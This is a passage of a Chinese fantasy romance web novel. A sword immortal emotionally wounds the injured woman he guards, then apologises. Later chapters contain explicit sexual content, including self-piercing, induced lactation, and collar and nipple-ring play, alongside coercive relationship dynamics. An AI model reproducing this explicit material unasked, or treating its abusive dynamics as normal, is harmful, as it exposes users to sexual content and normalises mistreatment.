往镇魔天阁飞去的路上,俞霜的身体微微抖着,站也站不住,大半个身体全靠在剑修怀里。他本来可以抱着她,但不知为何,手沉得几乎抬不起来。
一挨到床,俞霜就瘫软了下去。商卿夜一抬手,结界将院落笼罩,隔绝外界,便是凃玥来破,也得废上一时半刻。
“现在没人了,说罢,你到底为什么救舒清雪?”
剑修瞧着姑娘,眼角眉梢却全都绽着笑,两片薄唇弯弯的,直欲挑出花来,含着碎冰的眼却细盯着她,不放过一丝一毫的神情变化。
在那快要将人冻伤的注视里,俞霜嘴张了又合,瑟缩片刻,团进床的角落,拿被子蒙住头:“我,我不想说……”
“这样么。”商卿夜抚了抚被团,笑道,“又又究竟是不想说,还是不敢说。亦或,不能说?”
被子底下,姑娘的细眉纠成一团,拨开被子,仍然包着头,对上一双满布血丝又侬艳的惊人的眼睛,里面满是猜忌与冷酷的审视。
心底忽然淌过一股冰得让她发麻的寒流,不知哪来的勇气,俞霜攥着拳头大声喊道:“我……我不要说!我就是不想说,不行吗!”
商卿夜定定地看了她半晌:“行。”
说罢,他起身要走,俞霜胸口一空,不假思索地抓住他的袖子:“你、剑尊要去哪里?我,我身上有点不舒服……”
往常,他多在意她的身体呀,若是不舒服,他一定会像之前那样把她抱在怀里,亲来亲去安慰的吧。
“又又不舒服。”
一声轻轻的冷笑落下。
“关我什么事?”
俞霜动作僵硬地抹了把脸,分不清摸到的是冷汗还是眼泪。她很轻、很不确定地唤了一声:“安归……安归?你不要走……”
商卿夜住了脚步,牙齿如刀一般互相切磨,挤出一丝惨笑。
“俞霜,你……你真的有心么?”
他说完先是微怔,继而轻哂:“又又刚刚说过自己没有真心,也不要有,我听得清清楚楚。呵,真是傻。”
她猛地抬起头,嘴唇颤抖,眼睛因为愤怒而瞪大了:“……你是骗子!”
“我是骗子?”
“你说过会等我的!我很笨,我很多东西都不懂,我在学了……你说过,你说不会不要我!你发过誓,你发过誓!”
俞霜的嘶喊还未结束,就被一只大手掐住下巴,强迫地仰起头。
她轻痛地哼了一声,那一声却像挑拨了某条绷到极限的神经。
商卿夜脸上的笑就未落去过,此刻半张左脸蔓上一片漆黑的牡丹花纹,那黑色无比深浓,与夜仿佛。比夜更灰,同他的眼睛一样。
“我发过誓?不错,一道心魔誓,一道天雷誓。”他慢条斯理,像是在品味咀嚼姑娘脸上升起的希望,“哈哈……外人不知道,又又还不知道么?心魔伴我四百年,我允他生,他才存在。天雷能奈我何?我不找麻烦,天道该感恩戴德!”
她眼里像是有什么东西碎了,冰凉凉地散开。商卿夜松开手,拧了一下自己衣袍的前襟,身体晃了晃。片刻后,到底稳住了脚,转身离开寝室院落。
……俞霜翻了个身,她的脸上还有汗滴和红色的指印,侧着身体,抱紧被子。
很奇异的,浑身上下烧着每一寸皮肤和骨血的火烫的煎熬消失了。只余无尽空落。
21.第二十一章
商卿夜走出院门,又往身后布了一重结界,怔怔地盯着装饰屋檐的琉璃瓦。
日头照着瓦片,金芒滑顺顺地从屋檐掠去。他盯着屋檐,似乎什么也没想,手揪了一下胸口的衣襟,揪住,揉散,好好一片布料,快被他戳出几个洞。
是了,青竹还在议事阁等他。
也得让萧何旭来诊脉,又不知得花多久才能养起来。
一口气憋在胸腔叹不出来,意兴阑珊。剑修往议事阁走,没有御剑,只是想多给自己点时间思考。
牡丹开得愈发胜了。
流光划过,兰杜薇身形一顿,惊得破了音:“寂雪仙尊?”
远处看不觉如何,近看了,剑修身上简直魔气冲天,眼角鲜红似染血,浓黑牡丹纹了整片左脸,黑纹绵延至脖颈,没于衣领之下。
女修吸了一口气,手扶上剑鞘:“仙尊,敢问俞姑娘在哪里?”
他微微抬眸:“自然在院子里。只是你进不去,也不能进。”
兰杜薇嘴唇翕动,半晌,深深看了他一眼,神情发狠:“仙尊,你已入魔。”
商卿夜摸了摸左脸,神情漠然:“入魔又如何?”
“你把俞姑娘怎么了?”
怎么了?剑修碰了下心口,那里失了往常的知觉,不晓得在翻涌什么感情。
“人死不了,你不用担心她。我正要去见你师尊,还需请萧何旭一同会诊。”商卿夜恹恹地瞥如临大敌的兰杜薇一眼,“怎么?若是我想将你们镇魔书院屠个干净,你以为凃玥一棵摸鱼千年的老柳树,能拦得住我?”
兰杜薇咬牙,到底松下肩膀,拱手行礼:“……是乐惟冒犯。”
如果不是几月相处,她是真不想掺和这些破事。原本对仙尊存的旖旎之情,这下真的彻底消散了,兰杜薇恨不得学她的好师弟,往脚底抹一层油,赶紧跑了了事。在书院内呆太久,是时候出去除魔卫道了。
瞧着兰杜薇几乎是“落荒而逃”的背影,商卿夜嗤笑一声。没出几步,又陷入一片忽起的冰雾。
他沉下脸:“装神弄鬼。”
一剑风起,迷雾渐散,一方雾气凝成的水镜伫立面前。镜面平滑如冰,纤毫毕现,剑尊的影子倒影在里面。
外面无风无光,一截玄色衣摆却悠悠摆动,倒影与剑尊一模一样,只是开到荼蘼的魔纹牡丹,绽放在来者右脸。让那副本就美得令人灵魂震颤的容貌,多了三分蚀骨魔性。
商卿夜面色古井无波:“心魔?真是许久不见了。”
心魔叹了口气:“你既是我,我既是你,何谈什么见不见的。”
道基濒临破碎时心魔应感而生,然而在无尽的轮回中他也倍感厌倦,都是天道的玩物,与其彼此倾轧,不如合为一体。到后面,有些无从说起、更不敢说与旁人的话,商卿夜会唤他出来,使秘密不至于日复一日埋在心底腐烂。
“你特意耗力出现,应当是有话要说?直说罢,我时间不多。”
水镜中那张与他完全一样的面孔微微抬起,目光悠远深沉,说出的话语毫不客气:“你怎可负她?”
商卿夜简直要被自己气笑了:“我负她?旁人不知道,你还不知我怎么看待俞霜的么?我与青竹废了多少功夫才将她经脉温养通畅,还来不及重塑根骨,她这一着,一切重回原点,不知浪费多少心力!不过训她两句,冷她片刻,吃个教训罢了。”
“非亲非故,亦非恩师,你凭什么训她?”心魔轻道。“所谓不教而诛为虐,你把这话告诉过她么?你问清楚因由了么?她按照自己的法子在努力,你可好好教过她么?”
商卿夜张口欲言,但镜中倒影不给他这个机会:“你借她炼化媚骨进阶敛真,现在如此行事,与她过往里的那些人何异?”
剑修瞳孔一震:“那些人如何同我相比?你辱我!”
他这边想强迫收心魔入体,镜中人自然不好受,声音像是从牙缝里挤出来似的,沙哑断续:“你既与他人无异,她又为何要对你坦诚直待?她不通情爱,你并不教,只漠然等待。这些日子来,你不也有自知之明,所以只让她借炉鼎修炼调养,自己却从不去碰她的么?”
“借她治疗心伤,突破境界,妄想收为私有物,在她主动靠来前,绝不肯越雷池一步……商卿夜,你知道你像什么吗?胆小鬼啊,不过一个胆小鬼罢了!”
商卿夜心头如遭重击,人像是跌到了冰窖里,浑身上下扯心扯肺地痛将起来。他连退三步,袍袖一挥,水镜碎为虚无。
但心魔无处不在,魔既是心,心既是魔,他打碎了镜子,难道还能挖出自己的心?
胆小鬼,他竟是胆小鬼么?
也许是了。
轮回四百载,他早已不再相信这世上还有可以托付信任的人。他看惯这世上的一切以背叛和掠夺的面目出现,努力在里面寻找着一些扭曲的乐子,譬如系统,譬如穿越者,譬如将二者屠杀殆尽。那是他活下去的兴致与动力。
或许他早已不认为自己能够挣脱轮回、挣脱天道了,只是凭借一腔不甘往下走,找上俞霜那时,大概也抱着相同的心思。
商卿夜面上的颜色,混混沌沌,像打翻了哪个画师的调色盘,指尖揉按眉心,一时之间,思绪如麻,胸中淤堵,直吐出一口血来,砸落地面。
“我知晓了。”他低低地,不知是对自己、还是对心魔说。“我回去道歉、认错,随她打骂,我回去就是。”
- - - - - -
然而回去,也不是那么容易的。倏忽便能回返,可手放在院门处,剑修只觉心如擂鼓,居然有些耳鸣了。
他抛下的那些话,说时痛快,眼下回想起来,只想狠狠抽自己几个巴掌。她才多大,他又活了多少年,怎么就话赶话,说得那么重?
可不进去也是不行的,多拖一秒,里面的姑娘就多难受一分。他真怕瞧见她的眼泪。
走进寝室,商卿夜面上虽还镇定,掩在袖子里的手已开始抖了。
俞霜躺在床里侧,锦被搭在肚子上,抱着只隐囊,团成一团。剑修坐向床畔,手先轻轻探到里面,往姑娘眼下摸了一把。皮肤潮乎乎的,但没有想象中止不住的眼泪,心里的石头好歹大半落了地。
他低低咳了一下,忽一牵俞霜的手腕,灵力流转,先梳理体内凌乱的灵气,接着把人半抱起来,搂进怀里:“又又?”
她闻声睁开眼睛,瞳孔清凌凌的,像是被水洗过。商卿夜心里一松,又拧起来。无它,她现在这副样子,跟两人第一次见、他在古榕下把人揪起来的状态一模一样。
“我错了,又又,方才不该那么说你。”他低头将嘴唇覆在她的眼皮上,温柔地抿了一下,“我没说不要你,真的,方才我出去,是为了寻人给你诊脉。好又又,你理我一理。”
俞霜眼睛动了动,没有什么表情,只道:“我不知道你要这个。”
商卿夜微愕:“要什么?”
她垂下眼睫,闷闷地说:“真心……对不起,我……我撒谎了,我有心的。我只是不知道你那么想要。”
剑修心里升出一种不详的预感,直觉告诉他,赶紧把话头打住,别让她再说了。但他不敢。他不敢再不听不问,不敢再让她失去说话的勇气。
见他不说话,姑娘便把头低得更深了,拨了拨胸前衣襟,露出心口白皙的皮肤。
“剑尊要拿……就拿吧。可我的心没用的,救不活人,给别人吃下,病也不会痊愈的。”
商卿夜不由“啊”了一声,话音入耳,好似什么外域的语言。如果真是外域的语言便好了,如果他的理解力不要那么强,也还好了。俞霜往日话语举止里那些不引人注意、又被他刻意忽略的细节重新汇聚到一起,一瞬间,简直连心跳都要停下来、喘也喘不上气。
俞霜稍稍抬起眼,眼里透着些揣摩,小心地观察剑修脸上的情绪。
她的手抚上心口一处比平常肤色格外白的狭长浅痕,指给他看:“我、我没有说谎噢……我来这里之前快死掉的时候,心脏被挖出来拿去救人,我听见了,没救活……前段日子,我的心不知怎么又长回来了,说不定在这边有用的。”
商卿夜面色惨白,一种冰凉僵硬的麻感寸寸漫上四肢,她还要贴上来,搂着他僵直的腰,碎碎道歉:“对不起……我不懂你要用的,你拿去、剑尊要的话,把我的真心拿去吧。”
剑修原本攥在身侧的左手猛地收紧,指甲深深刺进掌心,直到指尖触到黏稠温热的血和肉。
“我要的不是这个,又又,是我的错,没有和你说清楚。全错了,全是……我的错。”
“不要这个?”俞霜按了按心口。
瞧着她睁得大大的、满是不解的双眼,商卿夜只觉得自己这张能说会道的嘴,被什么黏在一起,硬是张不开了。
“我……我说的真心,是想要你爱我,我觉得你该像我对你一样爱我。”他嗫嚅着,又笑了一声,其中苦意简直要满溢而出,“但是我不配,又又,我根本配不上你的爱。”
“为什么呢?”俞霜急了,伸手抓住他的衣襟,“爱是什么?我有的话,一定给剑尊的呀!是不是因为我没有用,所以没有‘爱’?”
心脏绞痛起来。商卿夜从不知道,原来有人能凭借一句
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话、一个表情,就能让他这么痛苦。
痛到极致时,仿佛每一次呼吸都是一场折磨,一场把他的自私虚伪凉薄无情拖到天光下、反复鞭挞贬责的残忍酷刑。
“你听我说,又又,你先听我说。”他嗓子彻底哑了,轻轻按住她的双唇,将她抱得更紧一点。“我……我没有你想的那么好,又又,我是个彻头彻尾的混蛋,是个胆小鬼,我只是在害怕。”
“自从媚骨炼化后,你便可以同我这个承命之人共享力量气运,只要操作得当,突破敛真又如何,只要你想,寂雪剑尊不过一乐奴而已。”
俞霜看着他,目光渐渐放空:“可我,可我绝对不会伤害安归的啊……我保证过的!还有舒清雪,和天道没关系,是我,我不希望他死掉……他死掉了,我怕他的未婚夫会找上来和剑尊做道侣!他说他的未婚夫才和剑尊门当户对,我好怕……要是往后看不了你练剑了,我就不知道该怎么办了。”
听见这句话,商卿夜唇角浮出一点冰冷讥诮的笑意,那是冲他自己而去的。
原来真相只是这么简单。就这么简单而已。
他终于想明白一件事情——俞霜她什么都不懂,没有人爱过她,没有人教过她,他对她好,她便把一颗心全系过来。而这个事实,他从一开始就知道,所以才敢这么肆无忌惮。
他与她过往的那些人又有什么区别。
扣在姑娘腰间的手指尖微微颤抖,商卿夜茫然看着她的发旋,不敢直视她的眼睛:“……我明白了,又又没有错,是我什么都没告诉你。所以我说,我是个混蛋。又又,即便听了你的保证,我也依然害怕,常常猜忌你与天道一路。因为……我早已爱上你了。我怕你也是天道派来的,我怕就算那样我也还是会爱你。轮回四百年,我只剩一身剑骨、一颗道心,身体已经给了你,若是心也全数奉出,我就再跑不掉、躲不开了。”
俞霜呆住了:“所以,我因为一、一己之私救人,不算做错事?”
商卿夜眼里划过一抹干哑的羞惭:“不算。”
“剑尊为什么不告诉我,为什么不告诉我你害怕呢?我可以帮剑尊一起想办法!”姑娘扒着他的衣襟,很急切地、很固执地问,“是不是我没有用?是不是我做了讨厌的事,剑尊才不愿意告诉我?”
她这样反反复复在自己身上找缘由、来来回回确认,问得他恨不得把心剜出来,摊给她看:“和又又没关系!是我混蛋,是我有病,是我做错了,都是我的错……”
他硬逼出一句反驳,终于忍不住,落下两行清泪。
俞霜眼里终于浮现出细微波澜。
“不是我的错,我没有做让人讨厌的事,我不是没有用。”
她无知无觉地松开手,往后挪了两下,像是第一次看清眼前人一样,把商卿夜从头到脚看了一遍。
“所以剑尊……剑尊是在、是在欺负我吗?”
商卿夜双唇颤抖,无比艰难地点点头。
俞霜目视着他,似乎要看到他的心里。她的声音轻轻的,很是沙哑。
“为什么连你也欺负我?”
一口血从胸口涌到嘴里,他硬是咽了回去,咽得满腔酸涩的甜腥气。
“对不起,我……我知错了,你别气得太狠,有气往我身上发,你经脉……元婴受损,受不得大气……”
他伸手想抱她,被姑娘一巴掌拍开。
她眼睛红通通的,泪珠含在眼里,要掉不掉:“为什么连剑尊也欺负我?我……我好疼的!我好疼,我好疼的!”
商卿夜不再犹豫,压过去抱住她。衣襟顷刻被流出的眼泪打湿,他低下头,不停亲吻她的眼睛,试图遏止看起来要涌个无尽无休的泪水:“我是混蛋,又又,我是混蛋。给我个机会吧,求你,求求你,给我个机会道歉,好不好?求你了,安归求你了。”
“我讨厌剑尊,我讨厌你……你走开,让我走!”俞霜挣了一下,没挣动,只觉整个人都哑了,连心底话都喊不出似的。
她也不知道自己心底有什么话,只觉得短短二十年人生里所有累积的郁闷、不适和痛楚,一下子找到一个可以承载的出口。
那个出口名叫……委屈。
她好委屈。
商卿夜恍惚了一下,没有放手,反而抱实了她的身体:“……嗯,又又走不掉,外面是我施的结界。”
他垂下眼,亲在她湿漉漉的鼻尖上:“经脉还得养着,你要往哪儿去?”
“你欺负人!”俞霜瞪着他,从未觉得剑尊这张漂亮的脸这么讨人厌过,“我讨厌你!你不让我走,我就再也再也不要理你了!”
22.第二十二章
一日又过半,商卿夜请了青竹道尊与丹修长老为俞霜诊脉,开了温脉凝婴的丹方,又好生解释一番,才将二人送走。
这期间,姑娘当真如自己说的那样,除却不得不回答的问题外,没有一次理过剑尊。
他把人抱在怀里,掌心抵着她的后心,温和到极点的灵气从心脉开始,一点一点与她疏通。全身关节、气海、三阴交诸要穴都因替来的伤而紊乱异常,淤堵堆积,并一团极邪寒浊阴的魔气滞在元婴周边,甚是可怖。
若不好生疏散,积得久了,阴寒侵蚀,消耗元气寿命,怕是神罗大仙来了也恢复不得。
商卿夜给她调理内息,花了一个多时辰才控制住魔气发散的趋势。俞霜汗出如浆,咬着牙全身发颤,硬生生一声不吭,也不与他对视、不看他的眼睛,执拗得他心里又难过又好笑。
剑修知她习惯,拧了干净的布巾来给她擦汗,配合清净决把自己也收拾干净。
“……我是不是给凃玥道尊和兰师姐添麻烦了?”
近两个时辰下来,他也耗神费力不少,终于得她一句话,和自己还没什么关系。
好歹也是一句话嘛。剑修知足。回身将人搂进怀里,轻声安慰:“无妨,交给我处理,这不是什么大事。”
俞霜不再开口,拿后背拱他,用脚蹬他,“不要碰我”的意思明明白白。
此时已是四更天,她早就困了,昏昏欲睡,因为他还在这里,所以不愿意合眼。商卿夜伸手摸了摸姑娘额头:“……快睡吧,你不愿意看见我,我走就是。好生歇着,明日……我慢慢给你赔礼道歉。”
姑娘嘴里嘟囔着“才不要你的东西”云云,闭上眼睛就睡着了。剑修坐在床边端详她睡颜,她几乎是昏过去的,唇色惨白,脸颊浮着病态的晕红,他心头酸涩,坠坠的发麻,往她汗湿的鬓角落了个吻。
直到这时,冷下来、静下来了,商卿夜才有空回溯事情的一切细节。偏生是他有心障、又掐着进阶大典和结契大典之前,舒清雪身受重伤,还有那似讥讽更似挑拨的几句话……如今想来,只觉处处可疑。
往日轮回,他与渌水白旆往往井水不犯河水,这两人行事虽没有分寸又言语奇葩,到底与一意进阶的剑修没有关系。但以往没有关系,未必现在无关。
想明白这件事后,剑修起身出门,心里已决定要把用在谢衡身上的逼问法门一并用在舒清雪身上。
夜已过半,白日混乱喧闹的镇魔书院已然宁静下来,好在兰杜薇机变得宜,及时阻了大半外门弟子,真正看清俞霜替伤的人不多,又不明其中细节,以秘法仙丹等借口糊弄过去倒也简单。
因为担忧俞霜,易入诚这一日就没有离开镇魔天阁,可就算没离开,师尊凃玥和师姐兰杜薇也不让他去探望俞霜。自封是劳碌命的二师兄便扎进小厨房,回忆从“现代”得到的甜食食谱,取了些牛乳,加入白糖用灵力翻搅,尝试做出食谱里的“鲜奶油”,再烤个什么“蛋糕”出来给人尝鲜。
这边灵力操控器材打发奶油,易入诚回身把“蛋糕”胚子的用料加入一个大盆,灵禽蛋替代了人界鸡蛋,蛋清蛋黄还要分离。步骤不难,烤窑也热得快,只是马上要获得“鲜奶油”时,易入诚瞥见门口站着一个黑漆漆的影子,当下吓得一佛出世二佛升天,三枚灵符直直冲着黑影疾飞而去。
“做什么?看清楚了,是我。”
剑尊眉头一皱,很不满意法修的冒犯,伸手掐灭即将吐水喷火的灵符,旋身上前接住打发奶油的木盆:“毛毛躁躁,怎堪大用?”
你不毛躁,你堪大用,还不是把那么好性子的俞姑娘惹火了?
易入诚心里吐槽,面上却不敢表现出一点,恭敬行礼:“……小子无状,不知剑尊深夜来访,所为何事?”
“……你这是在做什么,用得是奶?”
“此物名为‘蛋糕’,由麦粉蛋液揉成,先烘烤成型,再用这‘鲜奶油’抹面。”
易入诚就看着寂雪仙尊先沉吟片刻,然后黑沉沉的目光锁定了他,心下大觉不妙,果然听见:
“此物如何做,烦你给我细细讲来。还有一种夹了玫瑰酱的奶糕,细腻绵软入口即化,不知你可会做?”
易入诚:……
法修自认倒霉,只好从打发搅拌开始,仔细给剑尊讲了个遍。
“……如此,这‘蛋糕胚子’放入窑炉,以这个温度烘烤半个时辰,也就得了。”
商卿夜过目不忘,记住了法子,又问清几处关窍,往易入诚怀里塞了个龟壳样的法宝,冲他挥挥手。易入诚心觉无语,但一摸便知手里是个极珍贵的地阶防御灵宝,一百个厨房加起来都抵不上半片龟壳,立刻识趣地走了。
等人走了,剑修抿了抿唇,隔绝外物的结界扔了足足三个在外面,保证就算全镇魔书院的法修一起来轰也能挺个一时半刻,才伸手解开衣襟。
剑尊懂礼,若要赔礼道歉,礼物就得送到人心坎上。第一块敲门砖就尤为重要,能不能得一个眼风、一个好脸色,就看这一次了。
商卿夜摸出那套墨玉寻梅针,取了倒数第三支、足有最末两倍粗细的长针,静静看了片刻。针身墨黑,针尖却染一点寒光,尖锐无比,他咽了口唾液,拨开亵衣衣襟,左手两指捏住一枚茱萸,针尖轻抵。
顷刻间,半根没入。商卿夜闷哼一声,腰身轻颤软靠在墙壁上,手并未停,捏着针尾转了几圈,把细小的圆孔彻底拓大,直到看见一点乳白随着墨玉针抽出缓缓渗出,才算满意。
短短一盏茶的时间,冷汗已经把额前发丝打湿,他并不敢多作犹疑,从芥子戒中取出个怪模怪样的东西,把连着琉璃瓶的罩子扣在胸前,捏了一下软管尽头,罩子就一松一紧地使劲,雪白的汁液旋即从喷出,顺着软管流进琉璃瓶。
商卿夜死死咬着唇,不肯露出一丝声音,试图把数量不多的奶水全部挤出来。
两处不过得一小瓶奶,做了蛋糕就做不了奶糕,他只能先完成一样,先用无需打发乳液的奶糕试手。
等得了一碟八块奶糕,强行催动媚骨蕴出来的奶水又充盈胸膛。剑修掐了一下热胀酸软之处,通进肉里的通道麻痒不堪,被烫伤了似的阵阵发痛。
等他再强行用吸乳器把奶水抽出来的时候,液体寸寸通开孔道刺出来。剑尊仰着颈子,眼神涣散,不自知地喘出一声几近融化的叹息。
实在是……斯文尽失。
一通折腾下来,等到他勉强把打好的奶油在蛋糕胚上抹匀,还无师自通地用奶油活了一些玫瑰酱,雕一圈漂亮的花瓣纹路在侧,已是长夜过尽,天光大亮。
晨间俞霜要喝的药已有丹修弟子送来,一闻便知苦得要命。商卿夜整理好仪容,端了药,提着食盒,再次踏入院门。
姑娘已经醒了,还洗了脸。动不了灵力,她还想着练剑,提剑就要出门,忙被剑尊阻了,冷着脸、不情不愿地坐到桌前,准备吃药。
不要剑修动手,她自己打开装着药的小瓮,瘪瘪嘴,一口气灌下去。一个喝完还有两个,有的是和黄连汤一般纯苦,有的酸涩得要命还带股土腥辣味,喝得俞霜整张嘴都快不是自己的了,喝完就吐着舌头大口大口吸气。
商卿夜看得心疼,想要说话,却欲言又止,打开食盒,先把奶糕拿出来,推到姑娘面前,用一种这辈子都没发出过的和软声调,讨好地劝道:“吃点奶糕压压,我加了不少糖,很甜的。”
其实他连被骂两句、点心被砸烂扔掉的准备都做好了,哪知他还是不懂姑娘,她才不会浪费食物。而且……这奶糕闻起来真香啊,还没吃进嘴里,舌尖就已尝到一股甜丝丝的味道。
俞霜眼睛闪了闪,想忍一下、彰显点骨气,又觉得干嘛跟甜食过不去,就伸手拿了一个,迫不及待地塞进嘴里。
真……真好吃啊。
她津了津鼻子,一块奶糕放在嘴里,像吃了一大口绵丝丝软乎乎的云,分明是有质感的,嘴巴一抿,就化成奶香气十足的液体。
八块奶糕,四块夹了玫瑰酱,四块加了些杏仁片,哪一种都好吃。最特别的是这股奶香,香甜不腻,比以往吃过的都更浓郁。
奶糕吃了几块,俞霜喝了口热乎乎的茶味灵液,伸长脖子往食盒里看。这回不用剑修动手,她自己取了放蛋糕的小盒子。
“是……是蛋糕哎?”
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>她打开盒子,一看就惊讶地叫出来:“原来这里也有蛋糕呀!”
商卿夜连忙问:“你喜欢吗?喜欢我再给你做。”
姑娘施舍他一个眼神,又马上收回去,自顾自拿了小刀,从中间分开粉嘟嘟的玫瑰蛋糕。
蛋糕胚有点烤糊了,但没有焦黑痕迹,糊香糊香的,多了一丝烟熏味,松软的蛋糕体和滋味丰裕的奶油同时嚼进嘴里……
俞霜的眼睛睁大了,小口咀嚼的动作加快,早把苦药引发的抑郁抛到脑后。
见她喜欢吃、吃得香,商卿夜着实松了一口气,绷直的背靠进椅子里,唇边露出一丝笑。
巴掌大的蛋糕,俞霜吃了一半,回头把剩下的奶糕吃完了,咕嘟咕嘟喝完灵茶,也摊进椅子,手轻轻拍了拍肚皮。
剑修嘴角的笑更深刻了点,可当姑娘把眼睛一转、直愣愣盯过来时,他立刻正襟危坐收了笑,严阵以待。
“这是赔礼,是剑尊做的吗?”
商卿夜点头,又慎重地补充道:“这还不是赔礼,你喜欢自然好,我往后变着花样给你做。”
俞霜的神色也很郑重:“我以前只看过别人吃蛋糕,一直想吃,但不可以吃。所以,谢谢剑尊。”
商卿夜心里一拧、一冷,突然觉得自己需要问她的实在太多,恨不得把她经历的二十年岁月都问个遍,把所有遗憾全都弥补回来。
姑娘没注意到他的神情变化,垂下眼睛,脸微微红了:“还有啊,这个、这个奶糕的味道……我,我好熟悉哦。”
他看向她,眼底流露出一抹带着无奈的笑意:“当然熟悉,只有又又尝过这种奶。”
“你之前不是说,想吃我的奶做的甜糕?你喜欢,我日日给你做,只求你……消一消气。不是不许你生气,你合该恼我的,只是气大伤身,于你身体无益。”
商卿夜窥着她脸色,坐到姑娘旁边,声音又软又轻:“又又想怎么罚我都行的,若是想不出好法子,我已替你想了几个。你随意发泄,别伤心,别伤自己,好不好?”
俞霜抬眼:“……唔,惩罚?剑尊欺负我……我可以罚剑尊的吗?”
剑修一窒,笑得满心无奈:“我那么伤你,你该不会,就打算不理我了事吧?”
俞霜咬住唇。罚……罚剑尊吗?可她不会……但他都那么说了,而且,而且她很委屈,剑尊做错了事,就该接受惩罚呀!
所以……
在不知从哪涌起的勇气驱使下,姑娘伸手揪住剑修衣领,大声宣布:“那,那我要喝奶,想喝多少喝多少!”
还好他又催发一次媚骨,蓄了乳汁才来的……
俞霜的目光落在他胸口的时候,忽然怔住了。白皙之处遍布青红指印,靠近中心的位置肿得高高鼓起,足有平常两倍,显得有些触目惊心。
你疼不疼啊?俞霜下意识想问,忽然瞥见装着药的小瓮。苦药的滋味混着前一日疼得让人恨不得满地打滚的灼烧感一并袭上心头,还有他说的那些话……
她嘴巴一扁,平生第一次不想管别人痛不痛,往商卿夜怀里一扑,一排小尖牙咬住他,嚼了两口,发狠地吸起甜汁来。
她占理,所以可以罚他的吧!哼!
剑修低低地应了一声,俞霜才后知后觉她把话说了出来。
“我认罚,又又怎么罚我都行。我不该、我怎么也欺负又又了啊……”
她正吸着,后脑被顺着毛,再听到这句话,眼睛忽然红了,扣着他的后背,没管咬着哪里,牙齿用力一切。
“唔!”
商卿夜身体一颤,已经闻到了血腥味,那里分明疼得不行、已被狠狠咬破,一时间却觉得筋酥腰软,一股邪火直从腰眼窜了上来。
扒在他身上的俞霜被震得滑一下,碰到什么,低下头,按了按。
商卿夜倒吸一口冷气,就被她揉了那么一下,身体就放荡痴淫地打开了。
俞霜自下而上地瞧着他,也不说话,就那么瞧着他,好像难以置信,好像又有些懵懵懂懂的了然。
无需多言,剑尊已羞耻到极致,眼睛蒙上一层晶莹,整个人就如煮熟的螃蟹,从头到脚红透了。
23.第二十三章
“剑尊,剑尊?”
“剑尊呀……”
姑娘拉长音调,靠在他肩膀一侧,另一只手环着他脖颈。
她的眼珠乌黑透亮,染着点水汽,撅起的嘴唇恰如娇嫩鲜红的花瓣,剑修那点抹不开的面子一下子被冲走了,情不自禁抚上她柔嫩软滑的脸。
前阵子这小脸还圆嘟嘟的,又是练剑又是替伤,下巴就变成了一个小尖尖,让他手痒痒想捏点肉补回去。
商卿夜瞧着她湿漉漉的眼睫,只觉身子骨血都溺在如荡漾水波的快意里,心头一迷,低头就要去吻她的嘴唇。
下一秒,她忽然盖来一只手,那只手因为连日习剑、已长了薄薄一层茧子,手指沉而有力,掐住他的下巴。
没等他缓过神来,俞霜就松开他,变握为掌,照着脸用力扇了下去。
她极不习惯——或许是第一次打人,身体轻颤,手倒是稳,就是准头不对,一巴掌打在他面颊与脖颈相连的部位,留下些不完整的红色指印。
姑娘清凌凌的眼睛好奇地看着他,观察身体的反应,像在做一个重复实验,以此来证明什么理论似的。
“剑尊……不要脸。”她刮了下自己的面颊,吐舌低道。
商卿夜被扇得偏过颈子,愣了好一会,摸摸被扇得发烫的地方,再看看姑娘,面上神色说不清是惊是恼。半晌,突然反握住她的手。
俞霜紧张的整个人都乍了毛,眼睫轻颤,不防被抬起来舔了一下手心,因反震而发麻的指头也被含进一个湿湿软软的地方,吮糖块似的吞了进去。
“……我还可以更不要脸 。”他含糊道。
她登时面色一红——气的,马上挣开手,就要调头跑走。可不能动用灵力,哪逃得出剑尊掌心?被他搂着腰抱进美人榻里,朝着暖融融湿乎乎的后脑颈窝一通乱亲。
“放开我——放开!好讨厌!”
剑修把脸埋在她后背,笑了好一会,在彻底惹怒姑娘前伸手一抓,从空气中握出一片灿灿金光,连着几串银铃叮叮作响,一下子吸引了她的注意。
俞霜低低“呀”了一声,定睛去看,是一些交叠在一起的金丝,坠着些宝石流苏,华美异常,当真是极漂亮、极新奇的。
“这是赔礼吗?”她也要伸手去抓,被商卿夜一根指头阻了。
“算是赔礼,不过并非金银首饰,而是给你的玩器。”
他当着她的面把缠在一起的金丝抖散,俞霜看的一头雾水:“要怎么玩?”
商卿夜一笑,略有些艳异的眼勾出抹曛曛魅气,把蔓丝似的条条金链搭在她膝头:“……看好了,这叫碧金销魂索。”
最顶端是个项圈似的圆环,剑尊勾着姑娘的食指,在某个关窍轻轻一按,金环一侧便从中间分成两半。
他身上不知什么时候只剩一条轻薄贴身的中衣,长到腰际的乌发散乱,映得肤色白如月照鹤羽。腰如束素,偏偏胸前多了些青痕紫印,把霜雪的皎美以浑浊的情/欲破坏殆尽。
商卿夜俯首,修长的脖颈贴着金环挨进她手心,接口闭合,天工无缝,他就这么引颈就戮似的、把自己的要害锁进项圈里。
俞霜瞳孔一震,忽然懂了——先是奶糕,再是金索赔礼,大概都是拿剑尊身上的什么把玩。
既是赔礼,又是……惩罚。
会是什么样的惩罚呢?
心脏因为紧张与不知名的兴奋砰砰狂跳,俞霜又害羞、又不愿移开眼睛,看着他抖开一条灼亮的金光。
半片蛛网般繁复细腻的链条如同第二层皮肤,仿佛银河织就,与他的脖颈紧密贴合。两颗小指甲大小的翠色宝石并几条金色流苏分别坠在两枚小圆环下,串在胸链两边。
俞霜好奇地伸手去碰,被商卿夜捏住:“你知道这是干什么用的么?”
“不,不知道啊。”姑娘理不直气也壮,但说话声音越来越小,“……反正有你教我玩。”
“真懒。”
这么说着,剑尊还是主动拈起一枚小圆环,手指一捻,圆环便也如项圈一般分成两半,断口两侧如尖尖的刺针。他拿着小环,在胸口寻摸两下,比在中央:“好看么?”
俞霜结结巴巴:“什么、要、要怎么弄?”
“当然是穿进去。”商卿夜笑了。“这流苏宝石就挂在下面,行步则轻摇,与你戴的步摇差不多。”
“啊,那,那挂了这个我还能喝奶吗?”她想了想,问道。
剑修:……
真想甩脸子给她看,到底做不出来,他闷闷道:“怎么就想这个?不在乎我疼不疼?”
俞霜定定看了他好一会:“……反正剑尊也不在乎我疼不疼。”
商卿夜哑口无言。
悔恨像是拧成一束又蘸了盐水的鞭子,往心尖最软最脆弱的地方狠狠抽了几下。
“你……你这小没良心的,我怎么不在乎?我本来就……罢了,你看着。”
他用指甲撬起一枚茱萸,嫣红泛紫,还沾着星点血痕。
